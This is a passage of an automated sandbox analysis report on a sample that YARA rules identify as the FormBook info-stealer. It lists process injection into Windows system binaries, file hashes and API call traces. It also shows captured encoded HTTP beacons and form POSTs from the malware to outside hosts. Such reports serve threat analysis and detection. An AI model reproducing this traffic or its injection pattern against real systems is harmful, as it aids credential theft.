data-page-type="parking-crew"><head><meta charset="UTF-8"><meta name="robots" content="noindex"><meta name="robots" content="nofollow"><meta name="robots" content="noarchive"><meta property="og:site_name" content="www.b301.space"><meta property="og:url" content="http://www.b301.space/"><meta property="og:image" content="http://yourmine.ru/i/parking/glob_parking.png"><meta property="fb:app_id" content="280542925476675"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="parking" content="ape"><title>  www.b301.space </title><link rel="stylesheet" media="all" href="/parking-crew.css"><style>body { background: #E5E5E5; }</style><link rel="icon" href="/favicon.ico" type="image/x-icon"><script>/<![CDATA[/window.trackScriptLoad = function(){};/.../</script><script onload="window.trackScriptLoad('/manifest.js')" onerror="window.trackScript [TRUNCATED]
Aug 2, 2024 13:54:18.417706013 CEST	1236	IN	Data Raw: 70 74 20 6f 6e 6c 6f 61 64 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 2f 68 65 61 64 2d 73 63 72 69 70 74 73 2e 6a 73 27 29 22 20 6f 6e 65 72 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 Data Ascii: pt onload="window.trackScriptLoad('/head-scripts.js')" onerror="window.trackScriptLoad('/head-scripts.js', 1)" src="/head-scripts.js" charset="utf-8"></script><script type="text/javascript">var cname = "035524"; var identifier = "";</s
Aug 2, 2024 13:54:18.417717934 CEST	1236	IN	Data Raw: 6d 3d 65 78 70 69 72 65 64 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 72 65 6e 65 77 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 52 65 6e 65 77 3c 2f 61 3e 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 67 2e 63 Data Ascii: m=expired&utm_campaign=renew" target="_blank">Renew</a> <a href="https://www.reg.com/domain/new/rereg_details?dname=www.b301.space&utm_source=www.b301.space&utm_medium=expired&utm_campaign=expired" class="b-pcrew__button b-pcrew__button_type_g
Aug 2, 2024 13:54:18.417776108 CEST	1236	IN	Data Raw: 73 3d 22 62 2d 70 63 72 65 77 5f 5f 62 75 74 74 6f 6e 20 62 2d 70 63 72 65 77 5f 5f 62 75 74 74 6f 6e 5f 74 79 70 65 5f 67 68 6f 73 74 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 22 3e 4f 72 64 65 Data Ascii: s="b-pcrew__button b-pcrew__button_type_ghost" target="_blank" rel="noopener">Order service</a></div></div><div class="b-pcrew-content__item b-pcrew-content__item_type_select" onclick="location.href='https://www.reg.com/buy/domains/?query=www.
Aug 2, 2024 13:54:18.417787075 CEST	1236	IN	Data Raw: 77 77 77 2e 62 33 30 31 2e 73 70 61 63 65 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 65 78 70 69 72 65 64 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 22 3e d0 9e d0 bf d1 80 d0 b5 d0 b4 d0 b5 d0 bb d0 b5 d0 bd d0 b8 d0 b5 20 49 50 3c 2f 61 3e 20 3c 61 20 63 Data Ascii: www.b301.space&utm_medium=expired&utm_campaign"> IP</a> <a class="b-parking-footer__link" href="https://www.reg.ru/web-tools/geoip?utm_source=www.b301.space&utm_medium=expired&utm_campaign">
Aug 2, 2024 13:54:18.417799950 CEST	1236	IN	Data Raw: 70 73 3a 2f 2f 77 77 77 2e 72 65 67 2e 72 75 2f 64 65 64 69 63 61 74 65 64 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 77 77 77 2e 62 33 30 31 2e 73 70 61 63 65 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 65 78 70 69 72 65 64 26 75 74 6d 5f 63 61 6d 70 61 69 Data Ascii: ps://www.reg.ru/dedicated/?utm_source=www.b301.space&utm_medium=expired&utm_campaign">Dedicated</a></div></div></div><div class="b-parking-footer__wrapper"><div class="b-parking-footer__partner"><span class="b-parking-footer__partner-text"><a
Aug 2, 2024 13:54:18.417864084 CEST	1236	IN	Data Raw: 72 65 66 20 2b 20 27 72 69 64 3d 27 20 2b 20 64 61 74 61 2e 72 65 66 5f 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 20 64 61 74 61 2e 64 6e 61 6d 65 2e 6d 61 74 63 68 Data Ascii: ref + 'rid=' + data.ref_id; } } if ( data.dname.match(/\.(ru\|su\|)$/g) ) { var rereg_links = document.querySelectorAll('.rereg'); for ( var i = 0; i < rereg_links.length; i++) {
Aug 2, 2024 13:54:18.417879105 CEST	1236	IN	Data Raw: 61 74 63 68 28 20 2f 5e 70 75 6e 79 2f 20 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 65 78 74 20 3d 20 73 70 61 6e 73 5b 20 69 20 5d 5b 20 74 20 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 Data Ascii: atch( /^puny/ ) ) { var text = spans[ i ][ t ]; text = punycode.ToUnicode( text ); spans[ i ][ t ] = text; } else if ( spans[ i ].className.match( /^no-puny/ ) ) { spa
Aug 2, 2024 13:54:18.417891979 CEST	55	IN	Data Raw: 74 3e 3c 21 2d 2d 20 2f 59 61 6e 64 65 78 2e 4d 65 74 72 69 6b 61 20 63 6f 75 6e 74 65 72 20 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: t>... /Yandex.Metrika counter --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	64523	154.215.72.110	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:54:26.497638941 CEST	525	OUT	GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=IhZyPQIGe6uK3zP3twZWsYVeSSeNS0ZlW2eS79Xk6ut4afzj0LiRBEeFtQixSzG192fRs1GD25A478p7nOOnyIi7V/S5J9AzlXPHqpluzE36hxZsh30r8poflPmNwlfmk35jvL8= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.3xfootball.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
Aug 2, 2024 13:54:27.402843952 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 02 Aug 2024 11:54:27 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	64524	52.25.92.0	80

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:54:34.209228039 CEST	786	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.kasegitai.tokyo Origin: http://www.kasegitai.tokyo Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.kasegitai.tokyo/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 35 4a 6c 4b 4c 7a 61 4b 56 70 31 77 4a 5a 76 70 77 56 49 68 75 42 43 58 53 48 62 6c 32 71 6c 5a 2b 79 49 57 5a 2b 61 46 2f 2f 42 72 6b 77 51 5a 6d 6c 71 64 38 54 35 32 76 54 57 45 67 77 41 56 68 42 38 69 6e 33 6f 45 74 35 2f 53 55 34 79 6d 76 43 4e 39 73 66 79 73 79 67 68 45 77 5a 4f 31 47 62 49 4d 4c 67 45 53 42 69 78 58 65 77 45 46 2f 33 64 62 2b 4f 4f 6c 58 45 70 6a 39 6f 58 75 59 57 54 43 67 42 68 32 50 37 39 7a 47 73 76 43 58 68 7a 62 50 30 42 39 74 70 48 4a 50 4e 6d 66 66 33 4f 6a 34 68 39 38 78 6f 45 48 42 33 45 74 49 7a 2f 63 65 67 36 4e 67 68 4d 58 57 72 64 61 4a 39 74 62 66 31 64 53 36 4e 39 38 Data Ascii: blWd=5JlKLzaKVp1wJZvpwVIhuBCXSHbl2qlZ+yIWZ+aF//BrkwQZmlqd8T52vTWEgwAVhB8in3oEt5/SU4ymvCN9sfysyghEwZO1GbIMLgESBixXewEF/3db+OOlXEpj9oXuYWTCgBh2P79zGsvCXhzbP0B9tpHJPNmff3Oj4h98xoEHB3EtIz/ceg6NghMXWrdaJ9tbf1dS6N98
Aug 2, 2024 13:54:34.837361097 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 02 Aug 2024 11:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 38 33 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 58 ff 73 13 c7 15 ff 59 fe 2b 96 9b 0e 27 25 a7 3b db 80 6b 6c 9d 18 08 38 d0 42 48 8b 33 6d c7 e3 61 56 ba d5 dd da 7b b7 e2 6e 25 59 31 cc f8 4e 84 f2 2d 85 36 2d 9d 90 74 12 1a 9a b4 74 06 3a 0d ed b4 c1 0d ff 4b 17 19 f8 89 7f a1 6f ef 24 eb 8b 4d 48 a6 f9 c1 a7 db dd b7 9f f7 de e7 bd dd 7b cf 13 a5 3d 0e af 8a 76 9d 20 4f f8 ac 3c 51 52 3f 88 e1 c0 b5 b5 95 ba a6 26 08 76 ca 13 b9 92 4f 04 46 55 0f 87 11 11 b6 f6 ce e2 42 71 56 db 9e 0f b0 4f 6c ad 49 49 ab ce 43 a1 a1 2a 0f 04 09 40 ae 45 1d e1 d9 0e 69 d2 2a 29 a6 03 03 d1 80 0a 8a 59 31 aa 62 46 ec 29 03 f9 78 8d fa 0d 7f 30 d1 88 48 98 8e 70 05 26 02 9e 2a 12 54 30 52 de 3f b9 0f 2d f0 b0 42 1d 87 04 25 2b 9b 84 55 46 83 55 14 12 66 6b 91 68 33 12 79 84 80 1d ca 33 5b 13 64 4d 58 d5 28 d2 90 17 92 9a ad 59 a9 88 a9 66 d4 d6 3d c5 e2 b0 17 21 af 70 11 0d f9 10 70 1a 38 64 4d 43 56 b9 58 ec 6d 58 a2 35 e4 0a 82 4e 1c 43 07 97 d5 5c 0a 39 ae 0f 16 72 a6 1b 62 87 02 10 5a 87 51 ae 46 99 20 e1 1c [TRUNCATED] Data Ascii: 831XsY+'%;kl8BH3maV{n%Y1N-6-tt:Ko$MH{=v O<QR?&vOFUBqVOlIIC@Ei)Y1bF)x0Hp&T0R?-B%+UFUfkh3y3[dMX(Yf=!pp8dMCVXmX5NC\9rbZQF x@aIH)Bor"v)`(".Z#\|p`-/->7HK" M0v.\&Qv1F\|X\|TX\6&r+ Pd`p>${t}~Q;"lDahZfVf!}a5CPwIHqxH+F_([AjCfy1dxx0q(EX,%+;&i.UFUWW+&m>l(KH 2V;M<B]\|RCYUoi>C:4W4hy%+3^f(kVkJ:%]^i'(t@<853;;;GMuBjpUww7y`02!@>vn(R"J41Nz)hOoWT>~S$+RlIogQ)[qLR\ md@nsEv\|)O/^=(7R%,s\|!; [TRUNCATED]
Aug 2, 2024 13:54:34.837378025 CEST	1078	IN	Data Raw: 75 0b b6 3d d8 35 d6 c0 4c 83 14 1d 0e 11 0c d2 4c f5 b9 83 19 33 eb 5e 7d 67 08 d3 eb 3d e0 35 ce 18 6f 81 67 f1 07 32 06 fb ae c8 f8 1a 3c bb 77 af 6c 7d f4 50 76 1e c1 73 eb d6 df 54 1c 64 f2 9b 67 77 ae cb f8 33 19 7f 2e e3 1b 32 fe 54 c6 bf Data Ascii: u=5LL3^}g=5og2<wl}PvsTdgw3.2TEeu__0(:V!qFT8&][' gnl0q!^]gVY9,o]y[O[E2$.2RP!z2y G2C2RKR;

Target ID:	0
Start time:	07:50:22
Start date:	02/08/2024
Path:	C:\Users\user\Desktop\QLLafoDdqv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QLLafoDdqv.exe"
Imagebase:	0x6d0000
File size:	1'229'824 bytes
MD5 hash:	9F295F94DFAF4A72EF4AAA28E15543F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:50:23
Start date:	02/08/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QLLafoDdqv.exe"
Imagebase:	0x110000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2270118769.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2269837439.00000000024D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2270555889.0000000003350000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:50:31
Start date:	02/08/2024
Path:	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe"
Imagebase:	0xd50000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4574542638.0000000002F30000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	07:50:32
Start date:	02/08/2024
Path:	C:\Windows\SysWOW64\netbtugc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\netbtugc.exe"
Imagebase:	0x1f0000
File size:	22'016 bytes
MD5 hash:	EE7BBA75B36D54F9E420EB6EE960D146
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4564773775.0000000002530000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4574527555.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4575593241.0000000002C30000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	07:50:45
Start date:	02/08/2024
Path:	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe"
Imagebase:	0xd50000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4581093569.00000000055C0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:50:56
Start date:	02/08/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	4.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	62

Executed Functions

Function 006D42DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 006D430D

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

GetCurrentProcess.KERNEL32(?,0076CB64,00000000,?,?), ref: 006D4422
IsWow64Process.KERNEL32(00000000,?,?), ref: 006D4429
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 006D4454
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 006D4466
GetNativeSystemInfo.KERNELBASE(?,?,?), ref: 006D4474
FreeLibrary.KERNEL32(00000000,?,?), ref: 006D447B
GetSystemInfo.KERNEL32(?,?,?), ref: 006D44A0

Strings

|O, xrefs: 007136F8
GetNativeSystemInfo, xrefs: 006D4460
kernel32.dll, xrefs: 006D444F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 5e58d419d6dfeb18fa973428e244d21e4e5ef5a0b52b42e5afb7f7e9ab991676
Instruction ID: 569a3738feeeae290c9a7606aa7d775ee12e45a2e80a7a97d16c6f5d36e87631
Opcode Fuzzy Hash: 5e58d419d6dfeb18fa973428e244d21e4e5ef5a0b52b42e5afb7f7e9ab991676
Instruction Fuzzy Hash: 1AA1A465D0A2C0DFEF12CF6D78801E57FE5ABA7340F88C89AD08197B61D67C4949CB29

Function 006D42A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,006D50AA,?,?,00000000,00000000), ref: 006D42B2
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,006D50AA,?,?,00000000,00000000), ref: 006D42C9
LoadResource.KERNEL32(?,00000000,?,?,006D50AA,?,?,00000000,00000000,?,?,?,?,?,?,006D4F20), ref: 007135BE
SizeofResource.KERNEL32(?,00000000,?,?,006D50AA,?,?,00000000,00000000,?,?,?,?,?,?,006D4F20), ref: 007135D3
LockResource.KERNEL32(006D50AA,?,?,006D50AA,?,?,00000000,00000000,?,?,?,?,?,?,006D4F20,?), ref: 007135E6

Strings

SCRIPT, xrefs: 006D42BF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 246a075dd664262b1961dfb6f7a89e26ad9afcf8139f8b6a19e43dc05d42bf46
Instruction ID: 8f7659fde18478b6f866f0df50208c0ada4bf0b7bd2b3275a48622568657523e
Opcode Fuzzy Hash: 246a075dd664262b1961dfb6f7a89e26ad9afcf8139f8b6a19e43dc05d42bf46
Instruction Fuzzy Hash: BB117C70600701BFE7228B65DC49F677BBAEFC5B51F10816AF847D6290DBB1DD008660

Function 00712BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetCurrentDirectoryW.KERNEL32(?), ref: 006D2B6B

Part of subcall function 006D3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,007A1418,?,006D2E7F,?,?,?,00000000), ref: 006D3A78

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

GetForegroundWindow.USER32(runas,?,?,?,?,?,00792224), ref: 00712C10
ShellExecuteW.SHELL32(00000000,?,?,00792224), ref: 00712C17

Strings

runas, xrefs: 00712C0B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 0ae78c4a52aae88b647397d5948f97223b6ab1779edddb5b18a84e4de8879300
Instruction ID: d643540db0769af3fb9bac1b6c5997cb7f89ac590afa182eb39c11fd9de8d72d
Opcode Fuzzy Hash: 0ae78c4a52aae88b647397d5948f97223b6ab1779edddb5b18a84e4de8879300
Instruction Fuzzy Hash: 28112C31E083915AD755FF64D8519BE7BA69FE5744F44442FF082023A3CF68894AC71B

Function 0073DBBE Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00715222), ref: 0073DBCE
GetFileAttributesW.KERNELBASE(?), ref: 0073DBDD
FindFirstFileW.KERNELBASE(?,?), ref: 0073DBEE
FindClose.KERNEL32(00000000), ref: 0073DBFA

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 72eac06d1bf322ed8667c13715d8a6a76d7f68eff1fb54395183526af14965d0
Instruction ID: 643c8daf687ae83e39368bfd93b56a5a334912e88e81bdc431b8eb0b8de2b057
Opcode Fuzzy Hash: 72eac06d1bf322ed8667c13715d8a6a76d7f68eff1fb54395183526af14965d0
Instruction Fuzzy Hash: BFF0A7704206145FA2316B78AC0D47A776CAE01334F108702F876C10E1EBF89D5485AA

Function 006DBF40 Relevance: 2.4, Strings: 1, Instructions: 1178COMMON

Download Yara Rule

Strings

p#z, xrefs: 007207CE

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: BuffCharUpper
String ID: p#z
